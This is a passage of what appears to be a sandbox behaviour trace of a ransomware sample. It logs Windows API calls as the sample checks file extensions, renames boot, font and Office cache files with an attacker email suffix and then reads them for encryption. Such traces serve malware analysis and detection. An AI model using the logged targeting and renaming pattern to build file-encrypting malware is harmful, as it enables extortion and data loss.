dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0059.979] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=43600) returned 1 [0059.979] CloseHandle (hObject=0x1a4) returned 1 [0059.979] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui")) returned 0x20 [0059.979] GetFileAttributesW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\en-us\\memtest.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0059.980] CreateFileW (lpFileName="C:\\Boot\\en-US\\memtest.exe.mui" (normalized: "c:\\boot\\en-us\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.980] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.980] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.980] lstrlenW (lpString=".doc") returned 4 [0059.980] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.980] lstrlenW (lpString=".docx") returned 5 [0059.980] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.980] lstrlenW (lpString=".pdf") returned 4 [0059.980] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.980] lstrlenW (lpString=".xls") returned 4 [0059.980] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.980] lstrlenW (lpString=".xlsx") returned 5 [0059.980] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.980] lstrlenW (lpString=".ppt") returned 4 [0059.981] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.981] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.981] lstrlenW (lpString=".zip") returned 4 [0059.981] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.981] lstrlenW (lpString=".rar") returned 4 [0059.982] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0059.983] lstrlenW (lpString=".bz2") returned 4 [0059.983] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0059.983] lstrlenW (lpString=".7z") returned 3 [0059.983] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0059.983] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.983] lstrlenW (lpString=".dbf") returned 4 [0059.983] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0059.984] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.984] lstrlenW (lpString=".1cd") returned 4 [0059.984] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0059.984] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.984] lstrlenW (lpString=".jpg") returned 4 [0059.984] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0059.984] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.984] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.984] lstrlenW (lpString=".doc") returned 4 [0059.984] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0059.984] lstrlenW (lpString=".docx") returned 5 [0059.984] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0059.985] lstrlenW (lpString=".pdf") returned 4 [0059.985] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0059.985] lstrlenW (lpString=".xls") returned 4 [0059.985] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0059.985] lstrlenW (lpString=".xlsx") returned 5 [0059.985] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0059.985] lstrlenW (lpString=".ppt") returned 4 [0059.985] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0059.985] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0059.985] lstrlenW (lpString=".zip") returned 4 [0059.985] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0059.985] lstrlenW (lpString=".rar") returned 4 [0060.217] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0060.217] lstrlenW (lpString=".bz2") returned 4 [0060.217] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0060.217] lstrlenW (lpString=".7z") returned 3 [0060.217] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0060.217] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0060.217] lstrlenW (lpString=".dbf") returned 4 [0060.217] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0060.217] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0060.217] lstrlenW (lpString=".1cd") returned 4 [0060.217] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0060.218] lstrlenW (lpString="C:\\Boot\\en-US\\memtest.exe.mui") returned 29 [0060.218] lstrlenW (lpString=".jpg") returned 4 [0060.218] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0060.218] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0060.220] lstrlenW (lpString="jpn_boot.ttf") returned 12 [0060.220] CreateFileW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0060.435] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=1984228) returned 1 [0060.435] CloseHandle (hObject=0x1a8) returned 1 [0060.435] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf")) returned 0x20 [0060.436] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.436] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0060.436] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.436] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.436] lstrlenW (lpString=".doc") returned 4 [0060.436] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.437] lstrlenW (lpString=".docx") returned 5 [0060.437] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.437] lstrlenW (lpString=".pdf") returned 4 [0060.438] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.438] lstrlenW (lpString=".xls") returned 4 [0060.438] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.438] lstrlenW (lpString=".xlsx") returned 5 [0060.438] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.438] lstrlenW (lpString=".ppt") returned 4 [0060.438] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.438] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.438] lstrlenW (lpString=".zip") returned 4 [0060.438] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.438] lstrlenW (lpString=".rar") returned 4 [0060.438] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.438] lstrlenW (lpString=".bz2") returned 4 [0060.439] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.439] lstrlenW (lpString=".7z") returned 3 [0060.439] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.439] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.439] lstrlenW (lpString=".dbf") returned 4 [0060.439] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.439] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.439] lstrlenW (lpString=".1cd") returned 4 [0060.439] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.439] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.439] lstrlenW (lpString=".jpg") returned 4 [0060.439] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.439] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.440] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.440] lstrlenW (lpString=".doc") returned 4 [0060.440] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.440] lstrlenW (lpString=".docx") returned 5 [0060.440] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.440] lstrlenW (lpString=".pdf") returned 4 [0060.440] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.440] lstrlenW (lpString=".xls") returned 4 [0060.440] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.440] lstrlenW (lpString=".xlsx") returned 5 [0060.440] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.440] lstrlenW (lpString=".ppt") returned 4 [0060.440] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.440] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.441] lstrlenW (lpString=".zip") returned 4 [0060.441] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.441] lstrlenW (lpString=".rar") returned 4 [0060.441] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.441] lstrlenW (lpString=".bz2") returned 4 [0060.441] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.441] lstrlenW (lpString=".7z") returned 3 [0060.441] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.441] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.441] lstrlenW (lpString=".dbf") returned 4 [0060.441] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.441] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.441] lstrlenW (lpString=".1cd") returned 4 [0060.441] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.441] lstrlenW (lpString="C:\\Boot\\Fonts\\jpn_boot.ttf") returned 26 [0060.441] lstrlenW (lpString=".jpg") returned 4 [0060.441] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.442] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0060.442] lstrlenW (lpString="kor_boot.ttf") returned 12 [0060.442] CreateFileW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0060.443] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=2371360) returned 1 [0060.443] CloseHandle (hObject=0x1a8) returned 1 [0060.443] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf")) returned 0x20 [0060.443] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.443] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0 [0060.444] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.444] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.444] lstrlenW (lpString=".doc") returned 4 [0060.444] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.444] lstrlenW (lpString=".docx") returned 5 [0060.444] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.444] lstrlenW (lpString=".pdf") returned 4 [0060.444] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.444] lstrlenW (lpString=".xls") returned 4 [0060.444] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.444] lstrlenW (lpString=".xlsx") returned 5 [0060.445] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.445] lstrlenW (lpString=".ppt") returned 4 [0060.445] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.445] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.445] lstrlenW (lpString=".zip") returned 4 [0060.445] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.445] lstrlenW (lpString=".rar") returned 4 [0060.445] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.445] lstrlenW (lpString=".bz2") returned 4 [0060.445] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.445] lstrlenW (lpString=".7z") returned 3 [0060.445] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.445] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.446] lstrlenW (lpString=".dbf") returned 4 [0060.446] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.446] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.446] lstrlenW (lpString=".1cd") returned 4 [0060.446] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.446] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.446] lstrlenW (lpString=".jpg") returned 4 [0060.446] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.446] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.447] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.447] lstrlenW (lpString=".doc") returned 4 [0060.447] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.447] lstrlenW (lpString=".docx") returned 5 [0060.447] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.447] lstrlenW (lpString=".pdf") returned 4 [0060.447] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.447] lstrlenW (lpString=".xls") returned 4 [0060.447] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.447] lstrlenW (lpString=".xlsx") returned 5 [0060.447] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.447] lstrlenW (lpString=".ppt") returned 4 [0060.447] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.448] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.448] lstrlenW (lpString=".zip") returned 4 [0060.448] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.448] lstrlenW (lpString=".rar") returned 4 [0060.448] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.448] lstrlenW (lpString=".bz2") returned 4 [0060.448] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.448] lstrlenW (lpString=".7z") returned 3 [0060.448] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.448] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.448] lstrlenW (lpString=".dbf") returned 4 [0060.449] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.449] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.449] lstrlenW (lpString=".1cd") returned 4 [0060.449] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.449] lstrlenW (lpString="C:\\Boot\\Fonts\\kor_boot.ttf") returned 26 [0060.449] lstrlenW (lpString=".jpg") returned 4 [0060.449] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.449] lstrcmpiW (lpString1=".ttf", lpString2=".WHY") returned -1 [0060.450] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0060.450] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0060.450] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=47452) returned 1 [0060.450] CloseHandle (hObject=0x1a8) returned 1 [0060.450] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0060.451] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.451] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.451] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.451] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.451] lstrlenW (lpString=".doc") returned 4 [0060.451] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.451] lstrlenW (lpString=".docx") returned 5 [0060.451] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.451] lstrlenW (lpString=".pdf") returned 4 [0060.451] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.451] lstrlenW (lpString=".xls") returned 4 [0060.451] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.451] lstrlenW (lpString=".xlsx") returned 5 [0060.452] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.452] lstrlenW (lpString=".ppt") returned 4 [0060.452] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.452] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.452] lstrlenW (lpString=".zip") returned 4 [0060.452] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.452] lstrlenW (lpString=".rar") returned 4 [0060.452] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.452] lstrlenW (lpString=".bz2") returned 4 [0060.452] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.452] lstrlenW (lpString=".7z") returned 3 [0060.452] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.452] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.453] lstrlenW (lpString=".dbf") returned 4 [0060.453] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.453] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.453] lstrlenW (lpString=".1cd") returned 4 [0060.453] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.453] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.453] lstrlenW (lpString=".jpg") returned 4 [0060.453] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.453] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.454] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.454] lstrlenW (lpString=".doc") returned 4 [0060.454] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0060.454] lstrlenW (lpString=".docx") returned 5 [0060.454] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0060.454] lstrlenW (lpString=".pdf") returned 4 [0060.454] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0060.454] lstrlenW (lpString=".xls") returned 4 [0060.454] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0060.454] lstrlenW (lpString=".xlsx") returned 5 [0060.454] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0060.455] lstrlenW (lpString=".ppt") returned 4 [0060.455] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0060.455] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.455] lstrlenW (lpString=".zip") returned 4 [0060.455] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0060.455] lstrlenW (lpString=".rar") returned 4 [0060.455] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0060.455] lstrlenW (lpString=".bz2") returned 4 [0060.455] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0060.455] lstrlenW (lpString=".7z") returned 3 [0060.455] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0060.455] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.455] lstrlenW (lpString=".dbf") returned 4 [0060.455] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0060.455] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.456] lstrlenW (lpString=".1cd") returned 4 [0060.456] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0060.456] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0060.456] lstrlenW (lpString=".jpg") returned 4 [0060.456] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0060.456] lstrcmpiW (lpString1=".mui", lpString2=".WHY") returned -1 [0060.456] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0060.457] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0060.457] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=93248) returned 1 [0060.457] CloseHandle (hObject=0x1a8) returned 1 [0060.457] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui")) returned 0x20 [0060.457] GetFileAttributesW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.458] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.458] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.458] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0060.458] lstrlenW (lpString=".doc") returned 4 [0060.458] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0060.458] lstrlenW (lpString=".docx") returned 5 [0060.458] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0060.458] lstrlenW (lpString=".pdf") returned 4 [0060.458] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0060.458] lstrlenW (lpString=".xls") returned 4 [0060.458] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0060.459] lstrlenW (lpString=".xlsx") returned 5 [0060.459] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0060.459] lstrlenW (lpString=".ppt") returned 4 [0060.933] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x339ff1c | out: lpFileSize=0x339ff1c*=485760) returned 1 [0060.933] CloseHandle (hObject=0x1a4) returned 1 [0060.933] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe")) returned 0x20 [0060.933] GetFileAttributesW (lpFileName="C:\\Boot\\memtest.exe.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\boot\\memtest.exe.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0060.933] CreateFileW (lpFileName="C:\\Boot\\memtest.exe" (normalized: "c:\\boot\\memtest.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0060.934] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0060.934] lstrlenW (lpString="C:\\Boot\\memtest.exe") returned 19 [0060.934] lstrlenW (lpString=".doc") returned 4 [0060.937] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 1 [0060.946] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PowerPointMUI.msi.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\powerpointmui.msi.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0060.946] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc6c | out: lpNewFilePointer=0x0) returned 1 [0060.946] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.946] ReadFile (in: hFile=0x1a4, lpBuffer=0x3b90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3b90058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0060.970] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xcbc00, lpNewFilePointer=0x0, dwMoveMethod=0x339fc2c | out: lpNewFilePointer=0x0) returned 1 [0060.970] ReadFile (in: hFile=0x1a4, lpBuffer=0x3bd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x339fc38, lpOverlapped=0x0 | out: lpBuffer=0x3bd0058*, lpNumberOfBytesRead=0x339fc38*=0x40000, lpOverlapped=0x0) returned 1 [0061.119] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, 